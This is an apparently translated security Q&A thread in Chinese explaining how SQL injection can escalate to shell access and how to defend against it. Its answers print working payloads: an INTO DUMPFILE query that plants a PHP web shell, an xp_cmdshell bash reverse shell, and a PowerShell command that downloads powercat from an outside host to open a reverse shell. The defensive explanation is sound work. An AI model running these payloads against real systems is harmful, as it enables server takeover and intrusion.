据我了解,SQL 注入应该只允许操作和检索数据,仅此而已。假设没有获得密码,如何使用简单的 SQL 注入来利用 shell?
我已经看到了据称可能发生的攻击,如果是的话,我希望能够防范它。
据我了解,SQL 注入应该只允许操作和检索数据,仅此而已。假设没有获得密码,如何使用简单的 SQL 注入来利用 shell?
我已经看到了据称可能发生的攻击,如果是的话,我希望能够防范它。
许多常见的 SQL 服务器支持诸如xp_cmdshell之类的允许执行任意命令的函数。它们不在 SQL 标准中,因此每个数据库软件都有不同的名称。
此外还有SELECT ... INTO OUTFILE,可用于写入具有数据库用户权限的任意文件。可能会覆盖 cron 或启动时调用的 shell 脚本。如果数据库服务器进程与 Web 应用程序在同一台服务器上运行(例如,单个租用的服务器),则可以编写 .php 文件,然后可以通过访问浏览器中的适当 url 来调用这些文件。
第三种造成损坏的方法是在数据库中定义和执行存储过程。或者重新定义现有的存储过程,例如验证密码的函数。
可能还有更多方法。
应用程序数据库用户不应具有执行 shell 函数、使用 INTO OUTFILE 或定义存储过程的权限。
有几种获取shell的方法。这是其中的一些。底部的链接应该会引导您找到一些优秀的备忘单,适用于 MSSQL、Oracle、MySQL 等多种数据库。
获得外壳的一个好技巧是在你的后口袋里放这个反向外壳备忘单。
如果您知道将 shell 放在服务器上的哪个位置(可访问的地方),您可以使用以下查询(mysql)在网络服务器上创建例如 php shell:
SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’
您需要知道域目录在哪里。了解数据库在哪里运行可能会有所帮助,因此像这样的注入查询(mysql)可能会告诉您有关目录架构的信息:
SELECT @@datadir;
如果您尝试强制系统发出任何错误消息以使其告诉您它在哪里运行,那么您也可能很幸运。通常这种方法是最简单的,因为许多错误消息非常
MSSQL 通过使用内置函数 xp_cmdshell 有一种相对简单的调用 OS 函数的方法。在 MySQL 中它并不容易(通常需要 outfile 或存储过程)。Oracle 非常简单,因为它允许执行 Java 代码。
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
上面的语句创建了一个在 10.0.0.1 端口 8080 上侦听的交互式 (-i) shell。
编辑:当然 MSSQL 与 Bash 真的不太可能。在我看到评论之前没有想到这一点。代替 bash,可以执行反向 Powershell 脚本,例如:
EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd'
Powercat 可以从这里下载:https ://github.com/besimorhino/powercat
如果您可以在注入点连接查询,您很可能可以在数据库中创建过程。这些过程作为函数工作,然后您可以使用查询调用它们。
有关这方面的更多详细信息,请参阅PL SQL 的 Shell 命令。
良好的注射来源:pentest monkey
使用 Oracle 数据库,您实际上可以从 SQL 查询编译和执行Java 代码。我已经看到攻击者在 Java for Oracle 中实现了一个基本的 shell 包装器,并通过 SQL 注入运行和编译它。很漂亮。
这完全取决于所讨论的应用程序。至于如何保护自己,不是老生常谈,而是堵住 SQL 注入漏洞。尽可能多地隔离面向公众的东西也是明智之举,因此,如果您拥有所有权,攻击者将无能为力。再次,这取决于您的架构和相关应用程序的实用性。